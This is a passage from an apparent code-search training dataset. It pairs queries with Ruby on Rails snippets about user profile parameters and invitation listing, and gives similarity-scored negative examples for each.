redirect_to @profile, notice: 'Profile was successfully created.' }\n format.json { render :show, status: :created, location: @profile }\n else\n format.html { render :new }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end" ]
[ "0.67057496", "0.66889435", "0.653363", "0.6407962", "0.63639706", "0.63453615", "0.62816125", "0.6268229", "0.6218425", "0.6208063", "0.62006456", "0.6168615", "0.6160453", "0.6145818", "0.61370856", "0.613005", "0.6107415", "0.61013746", "0.6100688", "0.60894877", "0.6085031", "0.6072899", "0.60689884", "0.60536146", "0.6047476", "0.604367", "0.6030735", "0.60204196", "0.59859514", "0.5973005", "0.5959349", "0.5955417", "0.5951721", "0.5944935", "0.59348255", "0.5928481", "0.5912646", "0.58918625", "0.58856523", "0.58842075", "0.5861011", "0.58497846", "0.5848916", "0.5848647", "0.5846743", "0.5845595", "0.58243304", "0.5822581", "0.58148867", "0.5814339", "0.581147", "0.58043456", "0.5800719", "0.5794565", "0.5793878", "0.5791059", "0.57860374", "0.5777216", "0.5771256", "0.57710654", "0.5766119", "0.57659954", "0.5747141", "0.5742847", "0.5740367", "0.573535", "0.5733159", "0.5729756", "0.572478", "0.5719146", "0.5708186", "0.5705339", "0.5701308", "0.5700719", "0.57006466", "0.57006466", "0.5693924", "0.56899756", "0.56866246", "0.5678978", "0.5676355", "0.5674243", "0.5674185", "0.56715983", "0.5669555", "0.56657994", "0.56645006", "0.5664181", "0.5663884", "0.565993", "0.56566316", "0.5650231", "0.5649553", "0.5647882", "0.5646726", "0.5643168", "0.56383973", "0.5636103", "0.5635856", "0.56342417" ]
0.85272396
0
Parses profileid and acctid from profile, and adds it parameters, used for profile deletion
def add_profile_parameters(parameters, profile) profileid, acctid = profile.split('/') parameters[:profileid] = profileid parameters[:acctid] = acctid end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def profile_params\n params\n .require(:profile)\n .permit(:last_name, :first_name, :address, :phone, :age)\n .merge(:account_id => current_user.id)\n end", "def profile_params\n params.require(:profile).permit(:profile_first_name, :profile_last_name, :user_id, :profile_preferred_right_id)\n end", "def profile_params\n params.require(:profile).permit(:id, :name, :description, :cpf, :services, :mobile, :zipcode, :address, :number, :complement, :neighborhood, :city, :state, :profile)\n end", "def user_profile_params\n params.require(:user_profile).permit(:profile_id)\n end", "def create_DB_profile\n \n @profile = ProfileId.new\n @profile.user_name = params[:user_name]\n @profile.profile_id = @parsed[\"profileId\"]\n @profile.save\n end", "def profile_params\n params.require(:profile).permit(:id)\n end", "def add_profile(opts)\n opts = check_params(opts,[:profiles])\n super(opts)\n end", "def add_profile(post, profile)\n post[:profile] = profile\n post[:profileupdate] = 'Y'\n end", "def profile_params\n params.fetch(:profile, {})\n end", "def profile_params\n params.require(:profile).permit(:user_id, :first_name, :last_name, :address, :city, :state_id, :zip_code, :phone, :avatar, :gender_id, :slug_id, :twitter, :facebook, :linkedin, :googleplus)\n end", "def profile_params\n params.require(:profile).permit(:age, :address, :gender, :full_name, :user_id)\n end", "def profile_params\n params.require(:profile).permit(:username, :address, :suburb, :postcode, :search_radius, :sex, :age, :interests, :user_id)\n end", "def update_profile(options = {}) \n # query profile info\n response = HTTP.auth('Bearer ' + Asca::Tools::Token.new_token).get(URI_PROFILES, :params => { 'filter[name]' => options[:name] })\n if response.status.success?\n responseObj = JSON.parse(response.body)\n queried_profile_list = responseObj[\"data\"]\n if queried_profile_list.length() > 0\n profile = queried_profile_list[0]\n end\n else\n Asca::Tools::Log.error(response.body)\n return\n end\n \n if !profile\n Asca::Tools::Log.error(\"No profile named #{options[:name]} found\")\n return\n end\n # create new profile\n profile_type = profile[\"attributes\"][\"profileType\"]\n \n # get bundle id\n response = HTTP.auth('Bearer ' + Asca::Tools::Token.new_token).get(profile[\"relationships\"][\"bundleId\"][\"links\"][\"self\"])\n bundle_id = JSON.parse(response.body)[\"data\"][\"id\"]\n response = HTTP.auth('Bearer ' + Asca::Tools::Token.new_token).get(profile[\"relationships\"][\"certificates\"][\"links\"][\"self\"])\n certificate_ids = JSON.parse(response.body)[\"data\"].map { |cer| cer[\"id\"] }\n \n # get all device ids\n device_ids = Asca::REST::Provisioning::Devices.list_devices.map { |device|\n device[\"id\"]\n }\n \n # delete old prifile\n delete_profile :name => options[:name]\n \n if profile_type.include? 'APP_STORE'\n create_new_profile :name => options[:name], :type => profile_type, :bundle_id => bundle_id, :certificate_ids => certificate_ids\n else\n create_new_profile :name => options[:name], :type => profile_type, :bundle_id => bundle_id, :device_ids => device_ids, :certificate_ids => certificate_ids\n end\n \n return true\n end", "def profile_params\r\n params.fetch(:profile, {})\r\n end", "def set_profile\n @profile = if params[:id]\n Profile.find_by!(user_id: params[:id])\n else\n Profile.find_by(user: current_user)\n end\n end", "def profile_params\n params.require(:profile).permit(:profile_name, :camera, :set_password, :wallpaper_id, :call_recording, :spy_recording, :email_access_id, :default_call_duration, :device_mode, :ringtone_id, :access_to_os, :wifi, :gprs, :timezone, :secure_pictures, :internal_setting_id, :status,:password_length, :expiry, :password_type)\n end", "def set_profile\n id = params[:id]\n @profile = Profile.find(id)\n end", "def profile_params\n\t\tparams.require(:profile).permit(:user_id, :fname, :lname, :birthday, :nickname, :paypal, :recruitertos, :skype, :country_code, :bio, :avatar, :selected_channel_id)\n end", "def profile_params\n params.require(:profile).permit(:name, :nick_name, :age, :height, :weight, :add1,\n :add2, :city, :state, :post_code, :birthday, :photo, :place_id)\n end", "def handle_profile_id(id)\n case id\n when CustomerProfile\n set_fields(:customer_profile_id => id.customer_profile_id.to_s)\n when nil\n nil\n else\n set_fields(:customer_profile_id => id.to_s)\n end\n end", "def profile_user_params\n params.require(:profile_user).permit(:profile_id, :user_id)\n end", "def profile_params\n params.require(:profile).permit(:name, :age, :about_me, :profile_image_id, :user_id)\n end", "def profile_params\n params.require(:profile).permit(:first_name, :last_name, :suffix, :member_id,\n :display_name, :state, :years_of_membership, :in_memoriam,\n :next_gen, :years_for_next_gen, :next_gen_presidents_club,\n :photo, :remote_photo_url, :photo_cache,\n :order)\n end", "def update_profile!(caller_id, access = {})\n json = Api::Request.new do |request|\n request[:access] = access\n request[:method] = :PUT\n request[:path] = \"/mgmt/#{caller_id}/user/{{client_id}}/profile\"\n request[:request_body] = to_hash\n end.execute!\n\n json[:user_guid]\n end", "def profile_params\n params.require(:profile).permit(:name, :phone, :qq, :identity_card, :bank, :bank_address, :bank_account, :bank_account_name)\n end", "def profile_params\n params.require(:profile).permit(:is_director, :is_assistant, :is_phd, :is_msc, :is_bsc, :is_intern, :username, :current_position, :email2, :website, :linked_in, :research_gate, :google_scholar, :phD_education, :MSc_education, :BSc_education, :phD_alumnus, :MSc_alumnus, :BSc_alumnus, :phD_thesis, :phD_thesis_desc, :MSc_thesis, :MSc_thesis_desc, :BSc_thesis, :BSc_thesis_desc, :entrance_year, :graduation_year, :isAdmin, :intern_title, :intern_desc, :intern_year, :avatar, :user_id, :phD_entrance_year, :phD_graduation_year, :MSc_entrance_year, :MSc_graduation_year, :BSc_entrance_year, :BSc_graduation_year, :guest_entrance_year, :guest_graduation_year, :guest_alumnus)\n end", "def profile_params\n params.require(:profile).permit(:profile_snum, :first_name, :last_name, :gender, :mariage, :birthday, :email,\n :chinese_id_number, :chinese_passport_number,\n :occupation, :position, :employer,\n :country, :province, :city, :address, :zipcode, :cellphone)\n end", "def profile_params\n params.require(:profile).permit(:user_id, :name, :phone_number, :address, :city, :state, :country_code, :avatar)\n end", "def profile_params\n params.require(:profile).permit(:user_id, :name, :surname, :age, :profile_picture, :gender, :relationship_status)\n end", "def profile_params\n params.require(:profile).permit(:name, :program, :start_year,:avatar,:first_post,:stil_id,:email,:phone)\n end", "def profile_params\n params.require(:profile).permit(:first_name, :last_name, :country_code, :is_female, :slug, :date_of_birth, :pesnavatar, :profilecover, :summary, :loctown,\n :loccountry, :currjobtitle, :currtemployer, :curremployerstartdate,\n :employer2name, :employer2jobtitle, :employer2startdate, :employer2finishdate, :employer3name, :employer3jobtitle,\n :employer3startdate, :employer3finishdate, :employer4name, :employer4jobtitle, :employer4startdate, :employer4finishdate,\n :recentqualificationtitle, :recentqualificationname, :recentschoolname, \n pesn_contacts_attributes: [:address1, :address2,\n :city, {typ_countries: :id}, {typ_regions: :id}, {typ_towns: :id}, {page: :id}, :postal_code, :email, \n :business_number, :cell_number, :profile_id], location_ids: [], skill_ids: [])\n\n\n end", "def profile_params\n params.require(:profile).permit(:employeeid, :DOB, :first_name, :remove_avatar, :ready_to_mentor, :last_name, :phone_number, :level, :previous_manager, :current_manager, :experience, :domain, :hr, :sublocation, :primary_technology, :secondary_technology, :desgination, :avatar, :user_id)\n end", "def set_profile\n @profile = Profile.find(params[:profile_id])\n end", "def profile_params\n params.require(:profile).permit( :display_name, :tagline, :bio, :twitter, :personal_url)\n end", "def profile_params\n params.require(:profile).permit(:dob, :candidate_type_id, :user_id, :first_name, :last_name, :picture, :bio, :address, :suburb, :state, :postcode, :country, :phone, :linkedin, :latitude, :longitude, :approved, :youtube)\n end", "def profile_params\n params.require(:profile).permit(:birthday, :college,\n :hometown, :current_location,\n :phone, :tagline, :about_me,\n :profile_photo_id, :cover_photo_id)\n end", "def profile_params\n params.require(:profile).permit(:first_name, :last_name, :date_of_birth, :city, :country, :contact_number, :bio, :photo, :user_id)\n end", "def profile_params\n params.require(:profile).permit(:marry_status, :realname, :email, :id_no, :sex, :mobile, :birth_day, :death_day, :address, :archive_id, :avatar, :id_no_img)\n end", "def profile_params\n params.require(:profile).permit(:user_id)\n end", "def update_profile(params)\n post('/account/update_profile.json', params)\n end", "def profile_params\n params.require(:profile).permit(:phonenumber, :telegram, :country, :city, :state, :first_time,\n :expectancy, :agile_id, :agile_description, :hobbies, :bring, :proposal,\n :bio, :agileRelation_id, :gender_id, :size_id)\n end", "def profile_params\n params.require(:profile).permit(:first_name, :last_name, :dob, :email, :dob, :mobile, :skype, :address)\n end", "def update_profile(profile)\n @type = Type::CIM_UPDATE_PROFILE\n @fields.merge!(profile.to_hash)\n make_request\n end", "def profile_params\n params.require(:profile_form).permit(:id, :name, :email, :role, :phone, :dob, :address, :profile, :new_profile, :updated_user_id)\n end", "def add_profile(userinput)\n profile = Profile.create(name:userinput)\n profile.user_id = self.id\n profile.save\n profile\n end", "def set_profile\n @profile = Profile.find(params[:profile_id])\n end", "def profile_params\n params.require(:profile).permit(\n :summary,\n :degree,\n :stream,\n :status,\n section_ids: [],\n project_ids: [],\n employment_ids:[],\n certification_ids: [],\n education_ids: [],\n custom_ids: []\n )\n end", "def profile_params\n params.require(:profile).permit(:result_no, :generate_no, :e_no, :sub_no, :nickname, :title, :job, :sex, :age, :height, :weight)\n end", "def profile_params\n [:internal_name, :external_name, :anus_name, :pronoun_id, :name, :can_penetrate]\n end", "def profile_params\n params.require(:profile).permit(:foto, :nombre, :apellido, :direccion, :estado, :zip, :user_id)\n end", "def profile_params\n params.require(:profile).permit(:company_name, :work_experience, :register_number, :tel, :fax, :image , :avatar , :user_id)\n end", "def profile_params\n params.require(:profile).permit(:first_name, :middle_name, :last_name, :phone_number, :time_zone, :email)\n end", "def profile_params\n params.require(:profile).permit(:description, :steam, :mmr, :carry, :mid, :support, :offlane, :jungle, :image, :dotabuff, :compete, :casual, :language_id, :time_zone, :hero_id)\n end", "def remove_profile(opts)\n opts = check_params(opts,[:profiles])\n super(opts)\n end", "def profile_params\n params.require(:profile).permit(:profile_image, :remove_profile_image, :board_sport, :price, :locations, :bio, :description)\n end", "def set_profile\n if params[:id].to_i != 0\n @profile = Profile.find(params[:id])\n # @user = User.find(params[:id])\n else\n @user = User.find_by_profile_uri(params[:id])\n end\n end", "def profile_params\n params.require(:profile).permit(:user_id, :display_name, :image, :banner, :slug, :bio, :website, :twitter)\n end", "def profile_params\n params.require(:profile).permit(:full_name, :username, :gender, :age, :phone_number, :is_anonymous, :about, :user_id)\n end", "def set_profile\n u_id = params[:user_id]\n @profile = Profile.where(user_id: u_id)\n end", "def profile_params\n params.require(:profile).permit(:first_name, :last_name, :birthdate, :user_id, :rut, :phone, :address, :gender, :marital_status, :picture)\n end", "def set_ProfileID(value)\n set_input(\"ProfileID\", value)\n end", "def profile_params\n params.require(:profile).permit(\n :first_name,\n :last_name,\n :address,\n :profile_picture,\n :birth_date,\n :book_owner,\n :user_id,\n :created_at,\n :updated_at\n )\n end", "def profile_params\n params.require(:profile).permit(:residence, :first_time, :expectancy,\n :agile_id, :agile_description,\n :hobbies, :bring, :proposal,\n :bio, :agileRelation_id,\n :gender_id, :size_id)\n end", "def profile_params\n params.require(:profile).permit(:name, :first_name, :last_name, :dob,\n :gender, :middle_name, :street, :city,\n :state, :zip, :relationship, :telephone,\n :telephone_use)\n end", "def set_user_and_profile\n @user = User.find(params[:id])\n @profile = @user.profile\n end", "def add_to_profile(profile_name:, profile_data:)\n Faraday.post \"#{@@profile_service_url}/profile/#{profile_name}\", profile_data\n rescue StandardError => e\n puts \"Error adding to profile : #{e.message}\"\n end", "def profile_params\n params.require(:profile).permit(:name, :surename, :avatar, :crop_x, :crop_y, :crop_w, :crop_h, :caller,:sex, :fathername, :ssn, :birthdate, :phonenumber, :mobilenumber, :official_email, :faculty, :rank, :digest_email)\n end", "def set_ProfileID(value)\n set_input(\"ProfileID\", value)\n end", "def profile_params\n params.fetch(:profile, {}).permit(profile_attributes)\n end", "def profile_params\n params.require(:profile).permit(:first_name, :last_name, :graduation_year, :major, :trainer_name, :gpa)\n end", "def set_profile\n @profile = Profile.find_by_id(params[:id])\n @user = User.find_by_id(@profile.user_id)\n end", "def userprofile_params\n params.require(:userprofile).permit(:user_id, :smtp1, :port1, :email_acc1, :email_pass1, :smtp2, :port2, :email_acc2, :email_pass2, :smtp3, :port3, :email_acc3, :email_pass3)\n end", "def profile( key, profile )\n profile = profile.dup\n base = profile.delete( :base_profile ) || :default\n base_profile = @profiles[ base ]\n if base_profile\n profile = base_profile.merge( profile )\n if base_profile[ :roles ] && profile[ :roles ]\n profile[ :roles ] = ( base_profile[ :roles ] | profile[ :roles ] )\n end\n end\n\n @profiles[ key ] = profile\n end", "def profile_params\n params.require(:intake_profile).permit(\n :first_name,\n :last_name\n )\n end", "def profile_params\n params.require(:profile).permit(:user_id, :profile_photo, :cover_photo ,\n :first_name , :last_name , :gender , :remove_cover_photo , :remove_profile_photo,:full_name, :mobile_number)\n end", "def profile_params\n params.require(:profile).permit(:cedula, :primer_nombre,:segundo_nombre, :primer_apellido, :segundo_apellido, :email, :telefono, :fecha_nac,:fecha_ing, :family_id,:photo,:sexo)\n end", "def profile_params\n params.require(:profile).permit(:role, :quote, :name, :user_id, :insights, :location, :image_url, :twitter, :facebook, :linkedin, :instagram, :avatar)\n end", "def update_profile\n @profile = @account.employee\n \n if params[:profile].present?\n @profile.assign_attributes(profile_params)\n @profile.save\n redirect_to gns_core.my_profile_backend_accounts_path, flash: {success: 'Profile has been updated successfully.'}\n else\n redirect_to gns_core.my_profile_backend_accounts_path, flash: {error: 'Profile update failed. Please try again!'}\n end\n end", "def profile_params\n params.require(:profile).permit(:user_id, :display_name, :github_name, :stackoverflow_name, :stackoverflow_userid, :avatar_url, :avatar_url_source)\n end", "def profile_params\n params.require(:profile).permit(:username, :firstname, :lastname, :image, :user_id)\n end", "def dm_profile_params\n profile_params = params.require(:dm_profile).permit(:user_id, :bio, :experience_level, :max_distance, :online_play, :homebrew, :original_ruleset, :advanced_ruleset, :pathfinder, :third, :three_point_five, :fourth, :fifth, :original_campaign, :module)\n profile_params[:user_id] = params[:user_id]\n profile_params[:experience_level] ||= params[:experience_level]\n profile_params\n end", "def create\n if ! params[:profile].blank? && DeveloperProfile.to_s == params[:profile][:type]\n @profile = DeveloperProfile.new(params[:profile])\n elsif ! params[:profile].blank? && ContractorProfile.to_s == params[:profile][:type]\n @profile = ContractorProfile.new(params[:profile])\n elsif ! params[:developer_profile].blank?\n @profile = DeveloperProfile.new(params[:developer_profile])\n elsif ! params[:contractor_profile].blank?\n @profile = ContractorProfile.new(params[:contractor_profile])\n end\n @profile.user_id = current_user.id\n @profile.website = nil\n\n respond_to do |format|\n if @profile.save\n @profile.user.send_welcome_notification\n format.html { \n if(current_user.sign_in_count == 1 && current_user.project_privileges.present?)\n redirect_to(project_path(current_user.project_privileges.first.project), :notice => 'Your profile was successfully created. Here is the project you were invited to bid on.') \n elsif(current_user.sign_in_count == 1 && current_user.invited_by.present?) \n redirect_to(projects_profile_path(current_user.invited_by.profile), :notice => 'Your profile was successfully created. Here are some projects from the user that invited you.') \n else\n redirect_to(profile_path(@profile), :notice => 'Profile was successfully created.') \n end\n }\n format.xml { render :xml => @profile, :status => :created, :location => @profile }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @profile.errors, :status => :unprocessable_entity }\n end\n end\n end", "def set_profile\n @profile = Profile.find_by_id(params[:id])\n end", "def profile_params\n params.require(:profile).permit(:name, :business_name, :about, :phone, :website, :category_id, :facebook, :twitter, :instagram, :address, :city, :state, :country, :profile_image)\n end", "def profile_params\n params.require(:profile).permit(:user_id, :name, :sex, :comment, :address, :birthday, :image,:muscle_id,:public_profile)\n end", "def profile_params\n params.require(:profile).permit(:cpf, :name, :age, :zip_code, :debit, :borrows_amount, :borrows_returned)\n end", "def profile_params\n params.require(:profile).permit(:name, :user_id, :id_no, :nationality, :tribe, \n :birth_place, :birth_date, :age, :height, :weight, :blood, :sex, :married, :religion, \n :id_address, :current_address, :email, :phone, :mobile_phone, \n languages_attributes: [:id, :name, :speech, :reading, :writing, :note, :_destroy],\n families_attributes: [:id, :name, :phone, :address, :birth_date, :relation, :education, :job, :_destroy],\n travellings_attributes: [:id, :country, :start_date, :end_date, :objective, :_destroy],\n organizations_attributes: [:id, :name, :field, :location, :year, :position, :_destroy],\n scientific_works_attributes: [:id, :title, :notes, :_destroy],\n achievements_attributes: [:id, :name, :notes, :_destroy],\n job_experiences_attributes: [:id, :company_name, :company_address, :company_phone, :job_title, :start_date, :end_date, :job_description, :reason_of_resignation, :_destroy],\n formal_educations_attributes: [:id, :name, :level, :start_date, :end_date, :certificate, :faculty, :department, :notes, :_destroy],\n trainings_attributes: [:id, :name, :organizer, :location, :year, :certificate, :notes, :_destroy]\n )\n end", "def profile_params\n params.require(:profile).permit(:target, :description, :address, :location, :exclude)\n end", "def profile_params\n params.require(:profile).permit!\n end", "def profiles_load_from_params(val)\r\n\r\nself.profiles_was = self.profiles.all if val\r\ncase val\r\nwhen Hash, HashWithIndifferentAccess\r\n self.profiles = val.map {|k, v|\r\n if k[/\\A(_|-)\\d+/] # CREATE\r\n elt = Profile.load_from_params(v)\r\n if !elt.valid?\r\n self.errors.add(:profiles, _(\"Invalid profiles: %{d}\") % {:d => elt.errors.full_messages.join(',')})\r\n nil\r\n else\r\n elt\r\n end\r\n elsif v.is_a? String # UNCHANGED OR DESTROY\r\n if v == \"-1\" #DESTROY\r\n self.profiles.destroy(k) unless k.to_i == 0\r\n val.delete(k)\r\n nil\r\n else\r\n Profile.find(k) unless k.to_i == 0\r\n end\r\n else\r\n elt = Profile.load_from_params(v.merge(:id => k))\r\n if elt.valid?\r\n elt.save if elt.changed?\r\n else\r\n self.errors.add(:profiles, _(\"Invalid profiles: %{d}\") % {:d => elt.errors.full_messages.join(',')})\r\n end\r\n elt\r\n end\r\n }.compact\r\nwhen Array\r\n val = val.compact.map(&:to_i).reject{|v| v == 0}\r\n self.profiles = (val.empty? ? [] : Profile.find(val))\r\nwhen String, Fixnum\r\n self.profiles = val.blank? ? nil : [Profile.find(val)]\r\nwhen nil\r\nelse logger.warn(\"Unexpected params type for 'profiles': #{val.class}\")\r\nend\r\nend", "def set_profile\n @profile = Profile.find(params[:id]) \n end", "def profile_params\n params.require(:profile).permit(:first_name, :last_name, :phone, :emergency_contact_name, :emergency_contact_no)\n end", "def profile_params\r\n params.require(:profile).permit(:id, :user, :first_name, :last_name, :bio, :country, :city, :image)\r\n end", "def set_profile\n @profile = current_user.profiles.find(params[:id])\n end", "def set_profile\n @profile = Profile.find_by (params[:id])\n end", "def profile_params\n params.require(:profile).permit(:name, :gender, :userId, :age, :feet, :inch, :weight, :fitnessGoal, :token)\n end", "def prepare_profile\n profile || build_profile\n end", "def profile_params\n params.require(:profile).permit(:first_name, :last_name, :avatar, :job_title, :phone_number, :contact_email, :description)\n end", "def profile_params\n params.require(:profile).permit(:first_name, :last_name, :avatar, :job_title, :phone_number, :contact_email, :description)\n end", "def update\n # FIXME There's probably a better way to manage STI.\n profile_params = (@profile.type == DeveloperProfile.to_s ? params[:developer_profile] : params[:contractor_profile])\n profile_params[:project_type_ids] ||= []\n\n respond_to do |format|\n if @profile.update_attributes(profile_params)\n format.html { redirect_to(profile_path(@profile), :notice => 'Profile was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @profile.errors, :status => :unprocessable_entity }\n end\n end\n end" ]
[ "0.67498636", "0.65747064", "0.6551823", "0.6509432", "0.6485902", "0.64439625", "0.6434388", "0.64103013", "0.6394292", "0.63849723", "0.633013", "0.63192815", "0.63086426", "0.630434", "0.6280754", "0.62768734", "0.6273976", "0.62671655", "0.626039", "0.6253733", "0.6248475", "0.62200564", "0.6199723", "0.6197052", "0.6188651", "0.6186089", "0.61744225", "0.61726534", "0.6161123", "0.61519754", "0.6148514", "0.6143555", "0.61418587", "0.61391014", "0.61371493", "0.6135404", "0.6132356", "0.6122419", "0.61132693", "0.61079264", "0.610381", "0.60966873", "0.6095692", "0.60950834", "0.60943043", "0.60870934", "0.60839", "0.60780346", "0.60764384", "0.60757184", "0.6075079", "0.6071567", "0.6070419", "0.6059403", "0.60564107", "0.6053333", "0.60528916", "0.6047647", "0.60450304", "0.6040369", "0.60360193", "0.6034172", "0.60277987", "0.6027626", "0.60210216", "0.60168535", "0.6014252", "0.6010157", "0.6006946", "0.59978807", "0.599743", "0.599531", "0.59896284", "0.59882325", "0.5980312", "0.59766984", "0.5976247", "0.59718275", "0.5957308", "0.59566957", "0.5954254", "0.5954061", "0.5953099", "0.593855", "0.5935546", "0.5933924", "0.5931541", "0.5930008", "0.5927954", "0.5922364", "0.59220755", "0.5922075", "0.59214324", "0.5917851", "0.59107506", "0.5905604", "0.5904685", "0.5897627", "0.5897627", "0.58972406" ]
0.82952243
0
GET /list_invites GET /list_invites.json
def index @list_invites = ListInvite.all end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n @invites = Invite.all\n end", "def index\n @invites = Invite.all\n end", "def index\n @invites = Invite.all\n end", "def index\n @invites = Invite.all\n end", "def index\n @invites = Invite.all\n end", "def index\n @invites = Invite.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @invites }\n end\n end", "def index\n @invites = Invite.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @invites }\n end\n end", "def index\n @invites = Invite.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @invites }\n end\n end", "def invites\n raise 'Tried to request invites from a non-server channel' unless server\n\n invites = JSON.parse(API::Channel.invites(@bot.token, @id))\n invites.map { |invite_data| Invite.new(invite_data, @bot) }\n end", "def index_invites\n puts \"user: #{@current_user.json_hash[:id]}\"\n dinners = []\n @dinners = @current_user.invited_dinners\n @dinners.each do |dinner|\n dinners << dinner.all_info\n end\n render json: dinners\n end", "def show\n @invites = Invite.all\n end", "def index\n @inviteds = Invited.all\n end", "def index\n\t\t@guild_invites = @guild.invites.order(\"id DESC\")\n\tend", "def index\n @invites = current_user.invites\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @invites }\n end\n session[:new_invite_error] = nil\n session[:new_invite_error_url] = nil\n end", "def invitations\n\t\t@invits = current_user.receive_invites.order(\"id DESC\")\n\tend", "def invites(auth, server_id)\n MijDiscord::Core::API.request(\n :guilds_sid_invites,\n server_id,\n :get,\n \"#{MijDiscord::Core::API::APIBASE_URL}/guilds/#{server_id}/invites\",\n Authorization: auth\n )\n end", "def invitations\n res = []\n\n tmp = GoodData.get @json['project']['links']['invitations']\n tmp['invitations'].each do |invitation|\n res << GoodData::Invitation.new(invitation)\n end\n\n res\n end", "def index\n @invitations = Invitation.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @invitations }\n end\n end", "def index\n if params[:story_id].present?\n @invitations = Story.find(params[:story_id]).invitations\n else\n @invitations = Invitation.find_by_email(@current_user.email)\n end\n render json: @invitations\n end", "def received_invitations\n user = User.find(params[:user_id])\n @invitations = user.invitations\n\n render json: @invitations\n end", "def index\n @invites = current_user.invites.where(is_declined: nil).all\n end", "def dogwalker_invited\n #@invitations = Invitation.invited_clients_email(params[:email]).select(:email)\n @invitations = Invitation.invitees(params[:email]).select(:email)\n logger.debug(\"@invitations.to_json = \" + @invitations.to_json)\n render json: {:invitations => @invitations }, :layout => false\n end", "def invited_users\n render json: @moot.list_users_can_vote\n end", "def group_invites\n @invites = GroupsController.group_invites current_user\n end", "def index\n @invitations = Invitation.all\n\n render json: @invitations, except: [:created_at, :updated_at], \n include: [:event => {include: [:host => {except: [:password_digest, :created_at, :updated_at]}]}]\n end", "def invitestatuslist\n @inviteStatus = InviteStatus.find :all\n render :layout => 'plain'\n end", "def index\n @team_invites = TeamInvite.where(team: current_team)\n end", "def index\n @invitations = Invitation.all\n respond_with(@invitations)\n end", "def index\n @invitations = Invitation.all\n end", "def index\n @invitations = Invitation.all\n end", "def index\n @invitations = Invitation.all\n end", "def invitations\n @invitations = Invitation.pending_by_user(current_user.id)\n\n respond_to do |format|\n format.html\n end\n end", "def view_invitations\n @invitations = Invitation.all(:conditions => ['status = ?', 'pending'])\n end", "def index\n @invites = Invite.find(:all, :conditions => \"to_user_id = #{current_user.id} or to_email = '#{current_user.email}'\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @invites }\n end\n end", "def invitestatuslist\n @inviteStatus = InviteStatus.all\n render :layout => 'plain'\n end", "def new_invites\n self.invites.all(:hide => false)\n end", "def index\n # @invitations = Invitation.all\n end", "def index\n @title = 'Invitations'\n @invitations = Invitation.all\n\n respond_to do |format|\n format.html # index.html.haml\n format.json { render json: @invitations }\n end\n end", "def index\n @invitations = Invitation.where(organization_id: current_user.organization_id).all\n end", "def index\n @invitees = Invitee.all\n end", "def index\n @invitees = Invitee.all\n end", "def pending_invites\n list = []\n pending_contacts.links(:class=>\"s3d-bold s3d-regular-light-links\", :title=>/View/).each { |link| list << link.text }\n return list\n end", "def invitations_list(account_id, opts = {})\n data, _status_code, _headers = invitations_list_with_http_info(account_id, opts)\n data\n end", "def index\n @invts = Invt.all\n end", "def index\n @invitations = Invitation.where(receiver_id: current_user.id)\n end", "def show\n @invite_list = InviteList.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @invite_list }\n end\n end", "def index\n @invitations = @event.invitations.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @invitations }\n end\n end", "def index\n @invitations = Invitation.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @invitations }\n end\n end", "def index\n @user_invitations = UserInvitation.all\n end", "def index\n @invitations = Invitation.find(:all)\n\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @invitations.to_xml }\n end\n end", "def index\n @teams = current_user.teams\n\n @team_invitations = current_user.team_invitations_as_receiver\n end", "def index\n @os_groups_invites = OsGroupsInvite.all\n end", "def index\n @invite_requests = InviteRequest.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @invite_requests }\n end\n end", "def index\n @invstatuses = Invstatus.all\n end", "def all_inviters(page = nil, per_page = nil)\n pipeline = [\n { '$project' =>\n { _id: 0,\n f_id: 1,\n invitable_id: 1,\n invitable_type: 1\n }\n },\n {\n '$match' => {\n 'invitable_id' => self.id,\n 'invitable_type' => self.class.name.split('::').last\n }\n }\n ]\n\n if page && per_page\n pipeline << { '$skip' => (page * per_page) }\n pipeline << { '$limit' => per_page }\n end\n\n pipeline << { '$project' => { f_id: 1 } }\n\n command = {\n aggregate: 'invits',\n pipeline: pipeline\n }\n\n if defined?(Mongoid)\n db = Mongoid.default_session\n elsif defined?(MongoMapper)\n db = MongoMapper.database\n end\n\n users_hash = db.command(command)['result']\n\n ids = users_hash.map {|e| e['f_id']}\n\n User.where(id: { '$in' => ids }).all.entries\n end", "def index\n @invites = current_user.recieved_team_requests\n @sent = current_user.sent_team_requests\n end", "def index\n # LE TEMPS DE ...\n if self.admin?\n @invites = Invite.all\n elsif self.check_user && self.check_no_guild\n @invites = Invite.where(:user_id => session[:user_id])\n elsif self.check_user && self.check_is_guild_owner\n @invites = Invite.where(:guild_id => @guild[:id])\n end\n end", "def get_unissued_invites()\n User.find(session[:user_id]).unissued_invites\n end", "def index\n @invitecodes = Invitecode.all\n end", "def get_public_dashboard_invitations(token, opts = {})\n data, _status_code, _headers = get_public_dashboard_invitations_with_http_info(token, opts)\n data\n end", "def index\n @invs = Inv.all\n end", "def get_user_invitations(filter: {}, includes: nil, limit: nil, sort: nil)\n params = users_request_client.build_params(filter: filter, includes: includes, limit: limit, sort: sort)\n users_request_client.get(\"userInvitations\", params)\n end", "def sent_invitations\n user = User.find(params[:user_id])\n @invitations = Invitation.created_by_user(user)\n\n render json: @invitations\n end", "def index\n @invited_fiends = InvitedFiend.all\n end", "def accepted_invites\n since = Time.zone.now - params[:days].to_i.days\n count = GroupInvitation.accepted\n .where('created_at > ?', since)\n .count\n respond_with json_response('accepted_invites', count)\n end", "def index\n @user = User.find(params[:user_id]) \n @invitations = @user.invitations\n\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @invitations.to_xml }\n end\nend", "def index\n @team = 